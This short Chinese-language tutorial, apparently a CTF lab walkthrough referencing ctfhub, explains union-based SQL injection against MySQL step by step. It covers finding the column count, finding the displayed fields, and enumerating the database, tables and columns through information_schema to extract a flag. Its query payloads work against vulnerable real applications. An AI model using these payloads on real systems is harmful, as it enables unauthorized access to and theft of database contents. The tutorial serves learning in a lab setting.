步骤:
1. 找出表中字段数:
select * from table where id=1 order by 1;
从1一直试直到报错,即可获得字段数;
2. 找通道:
因为数据库返回的字段不一定都会显示在前端中,因此我们需要找出显示的通道;
select * from table where id = -1 union select 1,2;
(如果说屏幕上有两个显示位置,那我们就给两个参数1,2 。实例参考ctfhub-sql注入-数字型注入)
确认通道后,我们按照按顺序分别找出数据库,表,列;
现在需要用到mysql自带的数据库:
[图片]
3. 找出所在数据库:
select * from table where id=-1 union select 1,database();
4. 找出表
Select * from table where id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = '数据库名';
5. 找出列:
select * from table where id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema = '数据库名' and table_name='表名';
6. 拿到flag
select * from table where id=-1 union select 1,列名 from 数据库名.表名;